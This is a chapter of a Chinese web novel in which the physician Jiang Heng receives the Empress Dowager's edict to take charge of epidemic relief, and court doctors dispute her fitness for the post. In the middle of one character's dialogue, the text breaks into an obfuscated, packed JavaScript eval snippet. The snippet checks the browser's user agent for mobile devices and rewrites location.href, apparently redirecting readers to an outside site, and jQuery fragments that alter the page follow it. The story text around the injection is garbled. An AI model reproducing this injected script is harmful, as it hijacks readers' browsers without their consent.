5. 争执

作品:《青囊雪

    公堂之上,死寂如冰。


    就在这时,室外传来一阵急促且整齐的脚步声,以及宦官特有的尖细声,声音由远及近,越发清晰。


    “太后——懿旨到——”


    堂中所有人,皆是一震,然后慌忙起身。


    只见一位身着深色官服的老宦官,在一队禁卫的簇拥下,手持明黄色卷轴,踏入公堂。


    他扫视着堂中众人,目光在姜蘅身上稍稍停留片刻。


    “京兆尹众官,姜蘅,接旨!”他展开卷轴,大声喊道。


    听到姜蘅二字,众人皆震。


    随后,以京兆尹为首,堂中众人皆跪伏在地。


    “诏曰:朕闻城中疫病反复,心甚忧之。医者姜蘅,呈《疫病分治论》颇有见地。值此危难之际,需勠力同心,以救万民于水火。今着姜蘅戴罪立功,掌南阳疫病诊治一切事宜,太医院,京兆尹需倾力相助,不得推脱延误。凡有推诿延误,阳奉阴违,妨碍抗疫者,姜蘅可先斩后奏,严惩不宥。以十日为限,若疫病得控,朕必嘉奖,若有差池,二罪并罚,严惩不贷,钦此——”


    太后的介入,让这池本就深不见底的水更深了。这道懿旨让姜蘅从戴罪之身擢升为钦差专员,窦氏党羽怕是不敢轻举妄动了。


    “臣等接旨,太后娘娘千岁千千岁。”京兆尹带头叩拜,声音微颤。他本想做个诬告案,却没想竟会牵涉到宫中,还引出了太后。如今这局面已不是他一个京兆尹所能控制的了。


    老宦官将懿旨交到京兆尹手上,目光却转向了姜蘅,“云蘅先生,太后娘娘还愿你能力挽狂澜,莫要辜负圣恩。”


    “草民定当竭力,以报圣恩。”她回道。


    老宦官微微颔首,未再多言,带着一众人马离去。来的突然,去的也干脆。众人虽不语,但心中早已惶恐不安。


    京兆尹手捧卷轴,看向姜蘅,语气无方才那般轻慢:“姜先生,既已有太后懿旨,此前种种,不必再提。还望先生以大局为重,早日平息疫病。”


    姜蘅未看他,只是淡淡地回应道:“自当尽力。”


    随后他的目光转向一旁的周颐,拱手道:“周大人,后续防疫,还望大人相助。”


    “分内之事,廷尉府定义不容辞。”周颐回应道。


    他未再注意堂中众人的脸色,而是大步向外走去。见他出来,在外等候的众人连忙迎上来。


    阿箬急忙出声询问:“兄长,你可有事?”


    “无事,这里不便说话。尽快回府。”话音刚落,他便迅速上了马车。


    此时,公堂对面茶楼二楼,一身着玄色大氅的男子正坐于此,望着那远去的马车,“姜蘅,倒是有意思……”


    车内,姜蘅闭眼,轻轻揉着眉心。


    她深知太后这道懿旨,并非脱困,而是将她推向了更深不可测的水池中。如今,她已不仅仅是复仇者,而是众目睽睽之下的“神医”。若疫情平复,她居功至伟,但也将成为众矢之的。若疫情不平,她罪不容诛,便是那最好的替罪羊。


    然而,这亦是一个机会,一个可以名正言顺进入权力争斗圈,打击窦氏的机会。


    她缓缓睁开眼。


    “第一步总算走出去了。”她捏紧衣角,“窦昌,刘晟……还有那藏在暗处的黑手,你们的游戏,现在,该我落子了。”


    阴府。


    雪悄无声息地落下来,屋外更白了几分。细碎的雪击先是簌簌地打着窗纸,渐渐地,变成得沉甸甸,无边的往下坠。


    屋内并未点太多烛火,只有书案一角点上了一盏。一圈圈的烛光晕开,映在姜蘅脸上。她手持医案,端坐书案前。


    “兄长,现下该如何?”一旁的阿箬问道。


    “阿箬,以我名义持太后懿旨前往太医院,调取库存药材名册,东西两市疫区图册,还有他们现可调动的人员名单。一个时辰后,在防疫总署召开首次会议,所有人员必须到场,缺席者,以抗旨论处。”


    “是。”阿箬领命前去,不少雪透过门缝飘进来,书案上的烛火跳动得厉害了。


    姜蘅伸出手,为烛火挡住风。“云栖,即刻召集素灵谷在京中弟子,还有阴府可靠的伙计。”


    “阁主,需派出青囊阁弟子协助吗?”


    “不急,真正的麻烦还没到,到时自有用他们之时。”她放下医案。“这次终归是我们落了上风,接下来窦氏定会掀起致命反击。”


    “那我们该如何应对?”


    “现如今我有太后所护,窦昌不敢轻易动我,但阴氏就不一样了。虽掌当朝最大的药材生意,但毕竟是个商人。”


    “阴氏?那定是在药材上动手脚了。”云栖一惊。“看来,我们之前在盯着药田的人很快便能派上用场了。”


    “嗯,盯紧点些。我倒要看看这窦昌会如何动手。”


    她提笔,思索片刻,但仍未动笔。墨汁顺着笔头流下,啪地一声轻响,落在医案空白处,迅速晕开。


    “云栖,”她放下笔,“你说疫情加重的始作俑者是谁?”


    “嗯……”云栖愣了一下,“阁主不是知道吗?就是常山王和邓氏。”


    “不对,我是说太后和朝中大臣希望罪魁祸首是谁?”她低着头,看着那团墨迹,“此事牵涉皇室宗亲,即便查清楚了,也定不会公之于众。”


    “所以,在我们查清前,定会有一个替罪羊。可谁来背这个黑锅呢?”云栖问道。


    姜蘅抬眼,“那就要看谁既与窦氏有仇,又与常山王无来往了。”


    这时,窗外传来咔嚓声,姜蘅抬头,望向那被雪映得微微发亮的窗户。应是沉甸甸的雪把树枝压折了。


    “雪大了,走吧,去瞧瞧那些正气凛然的官员会如何指责我这个妖医。”


    防疫总署。


    堂外雪飘如絮,寒气袭人。堂内的炉火生得极旺,把这股暖意烧得无处不在,连门外透进来的寒气都要融化了。


    各类官员齐聚一堂,却无一人发出一言。


    见姜蘅尚未前来,太医令崔钰张以诚先开了口,“治疫病的方子,”他指尖捏着一张药方,“各位且再瞧瞧,按此方配药,分发下去。”


    药方被传递下去,坐在下首的张太医,浅浅扫了一眼,嘴角便撇了下来。


    他是江南人士,语气带着几分江南水乡的绵软,但意思却硬得很。“这方子……怕是不妥当。”


    “疫情虽凶险,但究其根本,仍是外邪入体,依照古法,总是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887712|192083||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不会出错。”他抿了一口茶,顿了顿,“眼下最要紧的……便是这总领抗疫之人,姜蘅,一个素灵谷来的毛头小子,怎能担起如此大任?”


    坐在一旁的李太医连忙附和道:“可不是么,据说是太后娘娘钦点的,力排众议。只是这人选嘛……实在有些出乎意料,既不是我太医院出身,又不是官身。你说一个乡野医士,真如此神通广大?难不成真是神医圣手?”


    “神医圣手?”张太医冷笑道,“我看就是一个招摇撞骗的江湖游医,怕是连《素问》《灵枢》《神农本草经》都未曾读过。这样的人也配总领抗疫大局,还让我等皆听其调度。真的是笑话,把满城百姓的性命当儿戏吗?”


    听此,崔珏咳了几声,“张太医,请慎言。或许此人医术高超,只是我等未曾见识罢了。既是太后娘娘的意思,我等需以大局为重,好生配合便是。”


    “配合?”张太医放下杯盏,“崔大人,并非下官不识抬举。而是这医术一道,玄妙莫测,岂是识几株草药,治得几桩小病便能知其深奥!”


    他又道:“且这抗疫讲究的是用兵,需统筹全局,辨认精准,一个初出茅庐的小儿,骤然置于高位,指挥我等老臣……”他起身,“还恕下官直言,只怕不能根治疫病,反而酿成大祸,置百姓于水火之中。”


    他越说越激动,“现下西东东西两市疫病截然不同,症状错综复杂,他拿来的方子便一定有效?若是失了分寸,用错了药,死的便不只有这一个两个了!到那时,这滔天干系,是他一介草民,还是你我能担当得起?”


    李太医接过话,“张兄所言,虽不中听,但胜在在理。年轻人有锐气,虽好,但尚且缺乏经验。治疫如同救火,扑救不急固然是罪。但倘若病急乱投医,失了分寸,拿着水桶乱泼,甚至泼的是油。那这后果……”


    崔珏端坐着,目光落在桌上那份《南阳防疫论》上。他何尝不忧虑,只是坐在这个位子上,有些话想说也不能说。


    堂内无人再言,只剩下火炉内柴火燃烧的爆裂声。


    张太医见无人反驳,气也顺了不少,坐下喝起了茶。


    这时,门开了,寒气透过门缝钻了进来。


    堂内众人,包括正在喝茶的张太医,皆望向门口。


    姜蘅身着青色的长袍,倒是与这满堂的玄色袍服格格不入。


    她抖去身上的雪,大步走入堂中。


    “云蘅先生。”崔珏起身。


    “姜蘅见过崔大人和各位大人。”她对着崔珏和众人分别鞠了一躬,礼数周全,让人找不出一点错处。


    她抬眼,目光在堂中缓缓扫过,从崔珏到李太医,最后,落在了仍端着杯盏,正在品茶的张太医身上。


    然后,她抬起了手。


    手上拿着的正是方才传阅的药方。“这方子,各位大人都看过了,可有异议?”


    张太医正想反驳,却她所打断。


    “太医院先前的方子,可有些不妥……”


    “有何不妥?”张太医连忙接过话。


    “西市疫病为天灾,东市乃人祸,大人可知?”姜蘅看向张太医。


    张太医愣住了,手上的杯盏险些没拿稳,“人祸?”


    满堂皆惊。